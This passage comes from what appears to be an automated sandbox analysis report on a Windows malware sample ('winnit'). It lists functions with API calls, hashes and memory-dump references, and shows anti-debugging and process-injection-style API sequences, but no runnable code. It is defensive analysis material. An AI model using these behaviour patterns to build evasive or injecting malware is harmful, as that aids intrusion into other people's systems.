                                          • Opcode ID: 8d93072655b7f31dd8e98cb3c2337560adbba2e04e29155a1aa5066bec0ea419
                                          • Instruction ID: 04618bcbfc46c44f60b15e7304fe24a764dd91a071bd8e17fd7868fd9a17ab3b
                                          • Opcode Fuzzy Hash: 8d93072655b7f31dd8e98cb3c2337560adbba2e04e29155a1aa5066bec0ea419
                                          • Instruction Fuzzy Hash: 75224670508241DFCB24DF24C590BAABBF5BF95304F14896DE99A8B362DB71EC45CB82
                                          Function 00AB4C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: EA06
                                          • API String ID: 4104443479-3962188686
                                          • Opcode ID: 0aae298cdf48b53ccccd891caa67f3e4a089758f9e2e1344ab6f5a3e9d47da90
                                          • Instruction ID: 60858a15cc4a564736d91103d9a0acd16b1ff5353e677c961bb8e9de11f30311
                                          • Opcode Fuzzy Hash: 0aae298cdf48b53ccccd891caa67f3e4a089758f9e2e1344ab6f5a3e9d47da90
                                          • Instruction Fuzzy Hash: 8E412B31A042586BDF229F64C9617FE7FBEDB4E300F684475EC869B287D6309D4483A1
                                          Function 00AB7A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID:
                                          • API String ID: 4104443479-0
                                          • Opcode ID: 9dd4efb868ffb8a5767105da0b16a8b73f80e319b4c4c742e2df27cd6dceb9ed
                                          • Instruction ID: bedf844b1854c893148ea52963bd50e1c07f00f32c458c28093674f188291b83
                                          • Opcode Fuzzy Hash: 9dd4efb868ffb8a5767105da0b16a8b73f80e319b4c4c742e2df27cd6dceb9ed
                                          • Instruction Fuzzy Hash: 903175B1604506AFC744DF68C9D1EADB3A9FF88350B15862EE519CB392EB70E950CB90
                                          Function 00AB47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                          Download Yara Rule
                                          APIs
                                          • IsThemeActive.UXTHEME ref: 00AB4834
                                            • Part of subcall function 00AD336C: __lock.LIBCMT ref: 00AD3372
                                            • Part of subcall function 00AD336C: DecodePointer.KERNEL32(00000001,?,00AB4849,00B07C74), ref: 00AD337E
                                            • Part of subcall function 00AD336C: EncodePointer.KERNEL32(?,?,00AB4849,00B07C74), ref: 00AD3389
                                            • Part of subcall function 00AB48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00AB4915
                                            • Part of subcall function 00AB48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00AB492A
                                            • Part of subcall function 00AB3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00AB3B68
                                            • Part of subcall function 00AB3B3A: IsDebuggerPresent.KERNEL32 ref: 00AB3B7A
                                            • Part of subcall function 00AB3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,00B752F8,00B752E0,?,?), ref: 00AB3BEB
                                            • Part of subcall function 00AB3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00AB3C6F
                                          • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00AB4874
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                          • String ID:
                                          • API String ID: 1438897964-0
                                          • Opcode ID: b191386971fbac9bb0f3ee0126625e62fe47848a35f313eb5e7d2340be2d7969
                                          • Instruction ID: 989e3eda0e2083bcd5d9c94acfce54001a10f8f81ba8561732491adccf6dc933
                                          • Opcode Fuzzy Hash: b191386971fbac9bb0f3ee0126625e62fe47848a35f313eb5e7d2340be2d7969
                                          • Instruction Fuzzy Hash: F9118C729087419FC710EF69E90594ABBE8EB89750F10491EF149872B2DFB09A84CB92
                                          Function 00AD0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD571C: __FF_MSGBANNER.LIBCMT ref: 00AD5733
                                            • Part of subcall function 00AD571C: __NMSG_WRITE.LIBCMT ref: 00AD573A
                                            • Part of subcall function 00AD571C: RtlAllocateHeap.NTDLL(00F30000,00000000,00000001,00000000,?,?,?,00AD0DD3,?), ref: 00AD575F
                                          • std::exception::exception.LIBCMT ref: 00AD0DEC
                                          • __CxxThrowException@8.LIBCMT ref: 00AD0E01
                                            • Part of subcall function 00AD859B: RaiseException.KERNEL32(?,?,?,00B69E78,00000000,?,?,?,?,00AD0E06,?,00B69E78,?,00000001), ref: 00AD85F0
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                          • String ID:
                                          • API String ID: 3902256705-0
                                          • Opcode ID: e7383bb68452673c23f5ab81cecad83a325a1d91680a68a4d176ff03fc379f7e
                                          • Instruction ID: eece57b0c77ddf0cae51684bc8e11bb5b579d7860843464f8075146160bcaac8
                                          • Opcode Fuzzy Hash: e7383bb68452673c23f5ab81cecad83a325a1d91680a68a4d176ff03fc379f7e
                                          • Instruction Fuzzy Hash: 64F0A47290031966DB10BBA4ED06EDE77FCAF01711F10446BF90696391DF719A50E6E1
                                          Function 00AD53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD8B28: __getptd_noexit.LIBCMT ref: 00AD8B28
                                          • __lock_file.LIBCMT ref: 00AD53EB
                                            • Part of subcall function 00AD6C11: __lock.LIBCMT ref: 00AD6C34
                                          • __fclose_nolock.LIBCMT ref: 00AD53F6
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                          • String ID:
                                          • API String ID: 2800547568-0
                                          • Opcode ID: e759cdf9fbc543c6bc2f20dcf8e795ddd536a255f6c3d4e33e153b7fa23b690a
                                          • Instruction ID: bedcf0cc1e7e601cddfcad6e5b4b98bfbc615f3613c743e5906ce145f0708d5a
                                          • Opcode Fuzzy Hash: e759cdf9fbc543c6bc2f20dcf8e795ddd536a255f6c3d4e33e153b7fa23b690a
                                          • Instruction Fuzzy Hash: 54F09071C00A049ADB10AB7599167AD7BF06F41774F20820BA466AF3C1CBBC89419F52
                                          Function 00F70BC5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 00F71383
                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F71419
                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F7143B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                          • String ID:
                                          • API String ID: 2438371351-0
                                          • Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                          • Instruction ID: 664b5c80d1e7c78dc1c5f37b09d8d89538b89aeb018a81827274ef3276333294
                                          • Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                          • Instruction Fuzzy Hash: 2712CD24E24658C6EB24DF64D8507DEB232FF68300F1090E9910DEB7A5E77A4F85CB5A
                                          Function 00AD0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ProtectVirtual
                                          • String ID:
                                          • API String ID: 544645111-0
                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                          • Instruction ID: bda1ea514a18c213693ae63b391da4cd08c07278b9b82b8ed7447998a7524ecb
                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                          • Instruction Fuzzy Hash: 8931BFB4A101069BC718DF59C484A69FBB6FB59300F6487A6E84ACB356DB31EDC1DBC0
                                          Function 00AEFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClearVariant
                                          • String ID:
                                          • API String ID: 1473721057-0
                                          • Opcode ID: a2a679c1cd7cf3c345295c61f226e9ac03a4ec7c2cc62a9c32901bd7c1b3fcc4
                                          • Instruction ID: 28a8804eb8afd5292832d965a57eb3f40cf948171d1544239ec935df408ccdb4
                                          • Opcode Fuzzy Hash: a2a679c1cd7cf3c345295c61f226e9ac03a4ec7c2cc62a9c32901bd7c1b3fcc4
                                          • Instruction Fuzzy Hash: FC4106745043419FDB24DF24C484B6ABBE1BF45318F1989ACE99A8B362C771E845CB52
                                          Function 00AB7B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID:
                                          • API String ID: 4104443479-0
                                          • Opcode ID: 9eb643fc21b1a8a24032fcbcd76f3c74a0cb2605f8f773dbccca94f200f03449
                                          • Instruction ID: 5b6a3d5c23f7cae6a1f796552de489b62cf6ef23a48e82ed60906c659336e8ce
                                          • Opcode Fuzzy Hash: 9eb643fc21b1a8a24032fcbcd76f3c74a0cb2605f8f773dbccca94f200f03449
                                          • Instruction Fuzzy Hash: 7C210872604A09EBDB148F26E841BAD7BB8FB94350F31846EE446C6191EF70D5E0D785
                                          Function 00AD06FE Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e8e1e23f3f14c607f10aed03d61569b8cd4aa10c43c00c74f8803156d0d4d46f
                                          • Instruction ID: 97fe9e86342ab2bda88d34a864296f2e31e0fbe7607008367b383bd2395c7021
                                          • Opcode Fuzzy Hash: e8e1e23f3f14c607f10aed03d61569b8cd4aa10c43c00c74f8803156d0d4d46f
                                          • Instruction Fuzzy Hash: 28110A390496445FD3218F38EC43EDAB7E5EB86322B20855FEC568FE83C66054479FA2
                                          Function 00AB4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00AB4BEF
                                            • Part of subcall function 00AD525B: __wfsopen.LIBCMT ref: 00AD5266
                                          • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00B752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00AB4E0F
                                            • Part of subcall function 00AB4B6A: FreeLibrary.KERNEL32(00000000), ref: 00AB4BA4
                                            • Part of subcall function 00AB4C70: _memmove.LIBCMT ref: 00AB4CBA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Library$Free$Load__wfsopen_memmove
                                          • String ID:
                                          • API String ID: 1396898556-0
                                          • Opcode ID: b10b9b5f4975f35b559b7b215e86c2348fb247ebbf3dcc54894de1b81fba4213
                                          • Instruction ID: 258d3b22fb553355fadcb41654f2e05e5e52263a95ac9f387bf56830af0d1fbf
                                          • Opcode Fuzzy Hash: b10b9b5f4975f35b559b7b215e86c2348fb247ebbf3dcc54894de1b81fba4213
                                          • Instruction Fuzzy Hash: 8411A331600206ABDF15BF71CD16FEE77ADAF48B50F108829F642A7183EA71DA059B51
                                          Function 00AEFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClearVariant
                                          • String ID:
                                          • API String ID: 1473721057-0
                                          • Opcode ID: 6a78258c3a72b52cb7dd1ce226929fa8f6d8d98d41317195fd49e9c9b288c62a
                                          • Instruction ID: fa2c4722dff260248efcc3fab6068a69d38c40a5cd53ebeff01ec40c1f7ee2b2
                                          • Opcode Fuzzy Hash: 6a78258c3a72b52cb7dd1ce226929fa8f6d8d98d41317195fd49e9c9b288c62a
                                          • Instruction Fuzzy Hash: EA21EFB4908341DFCB24DF64C444F6ABBE5BF89314F058968F98A97722D731E809CB92
                                          Function 00AD4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                          Download Yara Rule
                                          APIs
                                          • __lock_file.LIBCMT ref: 00AD48A6
                                            • Part of subcall function 00AD8B28: __getptd_noexit.LIBCMT ref: 00AD8B28
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __getptd_noexit__lock_file
                                          • String ID:
                                          • API String ID: 2597487223-0
                                          • Opcode ID: e34bbb8b2d0100baea4048dfa8832f227c2675fd3dc5d06a64e0ce4e93f3fc2d
                                          • Instruction ID: 36d34daef7a7a7dc2fa207976c0532cab9176f7407ba91a012c6b4a028ab754e
                                          • Opcode Fuzzy Hash: e34bbb8b2d0100baea4048dfa8832f227c2675fd3dc5d06a64e0ce4e93f3fc2d
                                          • Instruction Fuzzy Hash: ADF0CD31900649EBEF11AFB4CD067AE37B1AF04365F158416F426AB3D1CBBC8A51EB91
                                          Function 00AB4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                          Download Yara Rule
                                          APIs
                                          • FreeLibrary.KERNEL32(?,?,00B752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00AB4E7E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FreeLibrary
                                          • String ID:
                                          • API String ID: 3664257935-0
                                          • Opcode ID: 8a248361fac6002cb11926a284749fb7547f6fad3284df8cc91ddbc7823c3090
                                          • Instruction ID: 60c3a2d51c61ff8ffbe76e7e4b9076e14a5f0dc548bbba7cef536555d27af8a4
                                          • Opcode Fuzzy Hash: 8a248361fac6002cb11926a284749fb7547f6fad3284df8cc91ddbc7823c3090
                                          • Instruction Fuzzy Hash: 9AF01571501B12CFDB349F64E4948A6BBF9BF183293208A3EE1D682623C772E840DB40
                                          Function 00AD0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00AD07B0
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LongNamePath_memmove
                                          • String ID:
                                          • API String ID: 2514874351-0
                                          • Opcode ID: e7fefe37cc691b3090d8d487865ab75ccaaf81300e9c0fbbc04ee7b2307b80a3
                                          • Instruction ID: 5ede9bd6071f13c05436393851e38e59709fa809336667ae5c673cad6751b2c4
                                          • Opcode Fuzzy Hash: e7fefe37cc691b3090d8d487865ab75ccaaf81300e9c0fbbc04ee7b2307b80a3
                                          • Instruction Fuzzy Hash: 55E08636A0412957C72096699C05FEE779DDB886A0F0441B5FC08D7245D9709C8086D0
                                          Function 00AD525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __wfsopen
                                          • String ID:
                                          • API String ID: 197181222-0
                                          • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                          • Instruction ID: dcd781512a177b406d956d97f7247539dc39b573b8cf283edba7492769b4c5bf
                                          • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                          • Instruction Fuzzy Hash: F9B092B684020C77CE012A92EC02A893B199B41764F408021FB0C18262E673A6689A89
                                          Function 00F71BC8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNELBASE(000001F4), ref: 00F71BD9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID: Sleep
                                          • String ID:
                                          • API String ID: 3472027048-0
                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                          • Instruction ID: 55b76df974247806b389d47c9bb375d27f532ebab9fda6ae6df0c06a6d4f095f
                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                          • Instruction Fuzzy Hash: C6E0E67494010EDFDB00DFB8D549ADD7BB4FF04301F104161FD05D2280DA309D50DA62

                                          Non-executed Functions

                                          Function 00B3CABC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00B3CB37
                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B3CB95
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B3CBD6
                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B3CC00
                                          • SendMessageW.USER32 ref: 00B3CC29
                                          • _wcsncpy.LIBCMT ref: 00B3CC95
                                          • GetKeyState.USER32(00000011), ref: 00B3CCB6
